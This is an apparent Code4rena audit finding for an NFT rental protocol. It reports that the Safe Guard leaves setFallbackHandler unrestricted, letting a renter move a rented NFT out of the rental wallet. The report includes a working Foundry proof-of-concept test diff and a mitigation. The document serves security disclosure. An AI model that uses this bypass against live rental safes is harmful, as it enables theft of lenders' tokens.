Platform: Code4rena
Start Date: 08/01/2024
Pot Size: $83,600 USDC
Total HM: 23
Participants: 116
Period: 10 days
Judge: 0xean
Total Solo HM: 1
Id: 317
League: ETH
Rank: 47/116
Findings: 1
Award: $88.09
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: sin1st3r__
Also found by: 0xAlix2, 0xDING99YA, 0xR360, Beepidibop, EV_om, Lirios, a3yip6, alix40, hash, haxatron, israeladelaja, juancito, marqymarq10, zzzitron
88.0882 USDC - $88.09
A rental wallet is a Gnosis safe used to store the rented NFT assets. The Guard is set for these Safe contracts to prohibit the transfer or approval of tokens when there is an active rental. The Guard also resticts delegatecalls and calls to modify guards and modules.
The Guard however does not restrict modification of the fallback handler via setFallbackHandler()
.
This can be abused to transfer NFT tokens out of the safe, bypassing the Guard.
Bob rents an NFT and the NFT is transfered to bob's safe. It should not be possible for bob to take the NFT out of the safe while the rental is still active. Bob can set the NTF contract as the fallback handler of the safe. After doing that, all calls to unknown functions will be forwarded to the NFT contract via normal call. This means Bob can make calls like 'approve()', 'SafeTransferFrom()' and other restricted functions directly to the safe. These calls will then be forwarded as calls from the safe to the fallback/NFT contract.
Below a modificaton of the Rent test script to demonstrate how Bob can transfer his NFT out from the safe
/test/integration/Rent.t.sol @@ -13,8 +13,13 @@ import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStruct import {BaseTest} from "@test/BaseTest.sol"; import {ProtocolAccount} from "@test/utils/Types.sol"; +import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; +import {ISafe} from "@src/interfaces/ISafe.sol"; +import {IERC721} from "@openzeppelin-contracts/token/ERC721/IERC721.sol"; + contract TestRent is BaseTest { + function setFallbackHandler(address handler) public { } function test_Success_Rent_BaseOrder_ERC721() public { // create a BASE order createOrder({ @@ -66,6 +71,32 @@ contract TestRent is BaseTest { // assert that the ERC721 is in the rental wallet of the fulfiller assertEq(erc721s[0].ownerOf(0), address(bob.safe)); + + // Set the ERC721 token address as fallbak handler. + // calling ERC721 functions on the safe, will forward these calls to the fallback. + // this alows us to make calls from the safew, directly to the token contract, bypassing the Guard + bytes memory Transaction = abi.encodeWithSelector(this.setFallbackHandler.selector, address(erc721s[0])); + + // sign the safe transaction + bytes memory TransactionSignature = SafeUtils.signTransaction( + address(bob.safe), + bob.privateKey, + address(bob.safe), + Transaction + ); + + // executeTransaction to set the fallbackhandler to the erc721 token contract + SafeUtils.executeTransaction( + address(bob.safe), + address(bob.safe), + Transaction, + TransactionSignature + ); + // we can now call token functins on the safe, which will be forwarded to the token + IERC721(address(bob.safe)).safeTransferFrom(address(bob.safe),address(bob.addr),0); + + // Token is successfully transfered from safe to bob + assertEq(erc721s[0].ownerOf(0), address(bob.addr)); } function test_Success_Rent_BaseOrder_ERC1155() public {
The usage of setFallbackHandler
should also be restrictd in the Guard.
Either by setting the TokenCallbackHandler on safe creation and not allowing setFallbackHandler
, or retricting the handlers to use in setFallbackHandler
with an allowlist or SupportsInterface
check to the fallback contract.
Token-Transfer
#0 - c4-pre-sort
2024-01-21T18:13:58Z
141345 marked the issue as duplicate of #593
#1 - c4-judge
2024-01-28T18:25:35Z
0xean marked the issue as satisfactory